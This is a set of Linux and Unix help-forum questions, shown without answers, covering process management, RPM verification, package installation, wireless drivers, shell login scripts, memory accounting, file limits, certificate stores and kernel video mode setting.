I am very new to using Linux. I have a 'machine' on Amazon and I was trying to learn how to use Python on this machine. I started running Python—had to step away for a few minutes and the connection was reset. I rejoined the connection and started wondering if the Python process was running. I poked around and submitted the               ps -ewwo pid,args | grep python       and I discovered all of this               root@mymachine:/# ps -ewwo pid,args | grep python     906 python     1118 grep python     2450 /usr/bin/python /usr/lib/mailman/bin/mailmanctl -q start     2451 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=ArchRunner:0:1 -s     2452 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=BounceRunner:0:1 -s     2453 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=CommandRunner:0:1 -s     2456 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=IncomingRunner:0:1 -s     2462 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=NewsRunner:0:1 -s     2468 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=OutgoingRunner:0:1 -s     2469 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=VirginRunner:0:1 -s     2470 /usr/bin/python /var/lib/mailman/bin/qrunner --runner=RetryRunner:0:1 -s      From what I have found I think that Python is still running and it has a process ID of 906. I would like to know   1. Will it die on its own at some point (not likely from what I understand)   2. Can I rejoin it somehow?   3. Am I even correct in my conclusion and if I can't rejoin it can I kill it?


Install from RPM, then files change. How can I see the differences?

This is a RedHat Enterprise 5.5 system. I ran a verification check against an RPM, and it looks like two files have changed:               # rpm --verify shadow-utils      S.5....T  c /etc/default/useradd     S.5....T  c /etc/login.defs      I have access to the RPM which originally installed these files. Can diff these changed files against the version which is stored in the RPM?


Fedora GUI package installer takes very long (>15min) to start

I tried to use Linux GUI for Fedora but I did not find it intuitive than that of windows. Whenever I tried installing any software using rpm file by double clicking file, many times it stuck and when I reinvoke that from terminal it says yum is already locked and some other installation process is already running and I always have to force quit that process. From OS point of view this seems to be Scheduling problem. (How) can we replace scheduling for Linux x window? Is there any better scheduling available for Fedora linux x window? * * * Update: Sorry about late response: => When I double click rpm package , it does not show up anything even after waiting for two minutes. => When I try to invoke that package from command line thinking something wrong with Fedora GUI it throws me a message saying some other process has the lock. => When I kill that process using kill command and try to install using command line it starts with no problems. => Many times when I don't kill the process after invoking rpm installation package, I start doing some other work, after more than 15 minutes the installation window comes from nowhere asking for root password, after entering which I get window for downloading dependencies ? Can somebody clarify me how this problem is not related to scheduling ?


Opensuse 11.3 with Dell inspiron 1564 wireless

When I was using ubuntu i used to add the cd to software sources and install a package called bcmwl* and the wireless would work immediately. Now on Opensuse the wireless is not working and as a regular user I am not sure what to do exactly ..   I typed dmesg at terminal and i got a long file with "Broadcom 4312 WLAN found" but i am unable to find my network or connect. Please help


Contents of /proc

Is there a site someplace that lists the contents of `/proc` and what each entry means?


Replace very long string in files recursively

I have a very long and complex string in many files and I want to remove/replace it recursively. The string contains many slashes, backslashes and spaces and any kind of special signs. How do I do that? A simple find + sed combination wouldn't work because of all the special signs in it which I hardly can escape. Would it be possible to write the search string to a file and use this as input for a search & replace command?


Develop / Debug C / C++ on Ubuntu?

What's the best IDE for developing C / C++ on Ubuntu? I tried installing Eclipse but it seems like I need the eclipse-cdt package also. The problem is there is no such package, at least for Lucid. How do I proceed? I am not tied to Eclipse.


Easiest way to install a Linux Desktop installtion on VirtualBox

I need a Linux Virtual machine (running on Windows with Virtual Box), and I need it run a desktop such as Gnome. Because it is running on a Virtual machine on a not particulary powerful machine I require a version of Linux which is not too memory/cpu hungry. I readup a little on this and decided to try Arch Linux as it advertised itself as lightweight and easy, but unfortunately it was not easy enough for me. I setup a VirtualBox machine mounted the Installation ISO okay as described at https://wiki.archlinux.org/index.php/Installing_Arch_Linux_from_VirtualBox But then when it came to actually installing ArchLinux I was lost as https://wiki.archlinux.org/index.php/Official_Arch_Linux_Install_Guide concentrates or real(non-virtual) installations and had far too many steps. Is there a Linxu Distro which I can install with just a couple of commands that will be usuable in my virtual machine ?


Add echo command to /etc/profile to disable screen blanking

I am considering adding the following echo command to /etc/profile               echo -e ‘\033[9;0]\033[14;0]’      The system in question does not have setterm command available and is just running text console. Are there any problems with doing this the way I plan to?


Login script for bash not loading

I am very confused about the login script for bash. I have always used `~/.bash_profile` to configure my bash shell. Now I am on a new system just as a user: I am not root. This system was originally using tcsh shell and I changed it to bash using the command `ypchsh to /bin/sh`, but it does not load my bash login configuration file and not even `.bashrc`. But if I type just `bash` in my terminal, my login file is loaded. What should I do to load it on login? * * * sample of my .profile:               # .bash_profile           # Get the aliases and functions      if [ -f ~/.bashrc ]; then              . ~/.bashrc      fi           # User specific environment and startup programs           PATH=$PATH:/usr/local/share/bin/:/usr/local/share/bin/idl/:./      export PATH           source $HOME/script.sh           export SCRIPT_VARIABLE


Get current terminal name

How do I fetch the current terminal name? I mean to the name that `ps` shows in the TTY column, e.g.:               root@dor-desktop:/home/dor/Documents/LAMP_setup/webs_install/do/install# ps aux | egrep 'mysql|(^USER)'     USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND     dor       2238  0.2  1.9 448052 79796 ?        S    17:27   0:17 gedit /home/dor/Documents/LAMP_setup/webs_install/do/install/mysql.install /home/dor/Documents/LAMP_setup/webs_install/do/install/mysql.setup     root      4975  0.1  0.5 324984 22876 ?        S    18:12   0:04 gedit /usr/local/mysql/bin/mysqld_safe     root      8160  0.0  0.0   4108   664 pts/2    S    19:08   0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --skip-networking --skip-grant-tables --user=mysql --basedir=/usr/local/mysql --ledir=/usr/local/mysql/libexec     mysql     8279  0.0  0.4 146552 19032 pts/2    Sl   19:08   0:00 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/var --user=mysql --skip-networking --skip-grant-tables --log-error=/usr/local/mysql/var/dor-desktop.err --pid-file=/usr/local/mysql/var/dor-desktop.pid --socket=/usr/local/mysql/mysql.sock --port=3306     root      8342  0.0  0.0   7632  1024 pts/2    R+   19:14   0:00 egrep --color=auto mysql|(^USER)      In the above example, I need to fetch `pts/2` which is probably the name for the current terminal that executed those commands.


Memory Mapping Linux 3+ kernel

Can some one help me understand how memory mapping is done Gone through this Why does Linux show both more and less memory than I physically have installed? but still i am not able to understand fully. using Ubuntu 12.04 with 2 Gb DDR3 ram with 3.2.0-39-generic               free -k              total       used       free     shared    buffers     cached     Mem:       2012040    1726616     285424          0       2612     245560     -/+ buffers/cache:    1478444     533596     Swap:      2057212     745152    1312060      2 GB in KB:               2097152      2097152-2012040=85112               Memory used by kernel          dmesg|grep Memory          (6571k kernel code, 452k absent, 63360k reserved, 6632k data, 920k init)      6571+452+63360+6632=77015k 85112-77015=8097k Where can i see this 8 Mb of used ram.If its used by Devices through DMA can it be visible. Also is reserved refers to memory reserved for BIOS? http://pastebin.com/GrvrfzUu               [    0.000000] BIOS-provided physical RAM map:     [    0.000000]  BIOS-e820: 0000000000000000 - 000000000009fc00 (usable)     [    0.000000]  BIOS-e820: 00000000000f0000 - 0000000000100000 (reserved)     [    0.000000]  BIOS-e820: 0000000000100000 - 000000007da08c00 (usable)     [    0.000000]  BIOS-e820: 000000007da08c00 - 000000007da5cc00 (ACPI NVS)     [    0.000000]  BIOS-e820: 000000007da5cc00 - 000000007da5ec00 (ACPI data)     [    0.000000]  BIOS-e820: 000000007da5ec00 - 0000000080000000 (reserved)     [    0.000000]  BIOS-e820: 00000000e0000000 - 00000000f0000000 (reserved)     [    0.000000]  BIOS-e820: 00000000fec00000 - 00000000fed00400 (reserved)     [    0.000000]  BIOS-e820: 00000000fed20000 - 00000000feda0000 (reserved)     [    0.000000]  BIOS-e820: 00000000fee00000 - 00000000fef00000 (reserved)     [    0.000000]  BIOS-e820: 00000000ffb00000 - 0000000100000000 (reserved)     [    0.000000] NX (Execute Disable) protection: active     [    0.000000] SMBIOS 2.5 present.     [    0.000000] DMI: Dell Inc. OptiPlex 380                 /0F0TGN, BIOS A05 02/24/2011     [    0.000000] e820 update range: 0000000000000000 - 0000000000010000 (usable) ==> (reserved)     [    0.000000] e820 remove range: 00000000000a0000 - 0000000000100000 (usable)      dmesg|grep Memory               Memory: 1994460k/2058272k available (6571k kernel code, 452k absent, 63360k reserved, 6632k data, 920k init)


Send email from external email id such as Gmail, Outlook to Unix user account

I am trying to see if there is any way I can send email from external email address to Unix user account. I don't know if this at all possible or not. For example, if my external email address is `abc@xyz.com` and unix user name is `test@localhost` on `testserver.test.com` then I would like send email from `abc@xyz.com` to `test@localhost`. With `mail` command I know I can send email from Unix to my account on Gmail/Outlook but I would to know if any way exists to do reverse. Ultimately I want to have it available in `/var/spool/mail/test` account.


Mouse cursor disappearing after running gnome-settings-daemon in OpenBox

I'm running Openbox 3.5.2 on Fedora 20. For extra comfort (font rendering, tap-to-click, ...), I used to let `gnome-settings-daemon` run in the background. Now since upgrading to the F20 beta, my mouse cursor is disappearing right after executing `/usr/libexec/gnome-settings-daemon`. That is it _visually_ disappears; I am still able to click on things. But the impact on usability is unbearable nonetheless. At first I thought compton were at fault, which I installed fresh out of koji. But removing it from my autostart doesn't change things for the better. The mouse is just fine in Gnome itself. There's nothing suspicious in `.xsession- errors` as far as I can tell. I'm really out of ideas right now. Relevant system info:               $ rpm -q openbox compton gnome-settings-daemon     openbox-3.5.2-2.fc20.x86_64     compton-0-0.3.20121218g75aec17.fc19.x86_64     gnome-settings-daemon-3.10.2-3.fc20.x86_64     $ uname -sr     Linux 3.11.10-301.fc20.x86_64      The machine itself is a X121e Thinkpad with a E-450 APU, powered by the OSS radeon driver.


Copy file while replacing text in it

I'm writing a script to publish a webapp. While copying files, I must replace a placeholder `current_date` in a file with the current date. I would start with something like this to define the date string               date=`date +%Y%m%d`      The copy and replace part is where I don't know how to start.


Setting ulimit correctly for PHP on Linux

I have `/etc/security/limits.conf` set to the following:               nobody soft nofile 409600     nobody hard nofile 1024000     phpuser soft nofile 409600     phpuser hard nofile 1024000     httpd soft nofile 409600     httpd hard nofile 1024000     * soft nofile 409600     * hard nofile 1024000      However, php pages still display:               [...] failed to open stream: Too many open files [...]      Setting `ulimit -n 10000` looks to only be a temporary fix. I also have the following set:               fs.file-max = 20970800     net.core.somaxconn = 1024000     kern.maxfilesperproc = 16638400     kern.maxfiles = 819200


Where does Chrome gets its list of certificate authorities from?

On Fedora, I'm talking about the list displayed when you go to settings > manage certificates > authorities tab. I've read that it should be in the NSS shared DB, but this command returns an empty list: ` [laurent@localhost nssdb]$ certutil -d sql:$HOME/.pki/nssdb -L `


Weird logging behavior in Berkeley mail on a Mac

I use Berkeley mail (/usr/bin/mail) on an iMac. It has just started behaving in strange ways. If I type "~v", to open an editor, I get "[LogLevel VERBOSE]" or sometimes "[LogLevel DEBUG]" and the editor doesn't open. I get the same behavior running heirloom mailx. Any idea why this might be happening and how I can stop it? (I'm not a power user and know little about logging.) Somewhat mysteriously, this new behavior coincided exactly with an upgrade to Mavericks, not on the machine running Unix mail, but on the machine from which I remotely ssh to that machine. The machine running Unix mail hasn't been upgraded: uname -v yields "Darwin Kernel Version 11.4.0: Mon Apr 9 19:32:15 PDT 2012; root:xnu-1699.26.8~1/RELEASE_X86_64".


How to sort (by whatever key) BibTex entries in `.bib` file?

I work with LaTeX and do versioning with Git. For bibliography management I use Mendeley. The problem is that each time Mendeley synchronizes it's `.bib` exports, they are in different order, what makes bibliography versioning much harder. My idea is to sort BibTex entries in `.bib` file, each time before commit. Could you help me, how to do this in smart (short&sweet) way ? :) P.S. I can run this routine manually. I do not need git integration. I just want program/script to sort `.bib` file.


How do I monitor display :1 while I'm using display :0?

I am running X on two displays. :0 is my primary display but I also have some programs running on :1. Is there any GUI application that will let me monitor display :1 in a window that sits on display :0? (Using gnome, FWIW)


How does touch -t work internally?

How does `touch -t` command works exactly, internally (I tried to find its source code but couldn't)?


Cannot kill teamviewer process

My main desktop has Mint 14 and I approached it via SSH from another computer, because I didn't have a screen on the Mint one. Then I tried to start teamviewer just I order to launch its desktop session remotely. I started the teamviewer and everything ran fine, but then I tried to stop this application from the terminal and this is what happens: ### Checking:               x@x-pc /opt/teamviewer8 $ ps -ef | grep team     root      1567     1  0 20:55 ?        00:00:00 /opt/teamviewer8/tv_bin/teamviewerd -f     x         2892     1  0 21:41 ?        00:00:00 /opt/teamviewer8/tv_bin/wine/bin/wineserver     x         2914  2822  0 21:48 pts/0    00:00:00 grep --colour=auto team      ### Using one-liner just to feel myself more hacker like :)               sudo for i in `ps -ef | grep team | awk {'print $2'} | xargs`; do kill -9 $i; done      ### Checking again:               x-pc teamviewer8 # ps -ef | grep team     root      3003     1  0 21:50 ?        00:00:00 /opt/teamviewer8/tv_bin/teamviewerd -f     root      3009  2957  0 21:50 pts/0    00:00:00 grep --colour=auto team      ### Killing again:               x-pc teamviewer8 # ps -ef | grep team     root      3003     1  0 21:50 ?        00:00:00 /opt/teamviewer8/tv_bin/teamviewerd -f     root      3011  2957  0 21:57 pts/0    00:00:00 grep --colour=auto team     x-pc teamviewer8 #     x-pc teamviewer8 #     x-pc teamviewer8 #     x-pc teamviewer8 #     x-pc teamviewer8 # kill -9 3003     x-pc teamviewer8 #     x-pc teamviewer8 #     x-pc teamviewer8 # ps -ef | grep team     root      3012     1  2 21:57 ?        00:00:00 /opt/teamviewer8/tv_bin/teamviewerd -f     root      3017  2957  0 21:57 pts/0    00:00:00 grep --colour=auto team     #########################################      No matter how many times I killed it, it receives new PID. How can I kill it?


"Permission denied" for running an executable file on a linux machine

I once generated an executable file using g++ on a linux box. But when I try to run this executable file on another linux machine, the system said "Permission denied". However, after I re-compile the source code on this second machine and run the executable file, the program just runs fine. Can you let me know what may be the problem? Thanks.


How's a module approved to be included into the linux kernel?

I'm now compiling the linux kernel 2.6, and finding there are more than 1,000 modules in total. How is a module approved to be included into the linux kernel?


How to restart mono web application without restarting apache?

Is there any way to restart **ONE** web application in mono without having to restart Apache? Currently i'm doing a `sudo service apache2 restart` everytime I deploy my .NET web application to mono. But it restarts all my other applications requiring them **ALL** to get reloaded into memory at next web request.


How to set a video mode in linux with kms/drm?

How can I set the video mode in Linux the low level way? As far as I know the lowest layer in userspace would be to request KMS via DRM. Is this correct? And if so, how could I achieve a mode switch and access to the associated "video memory"?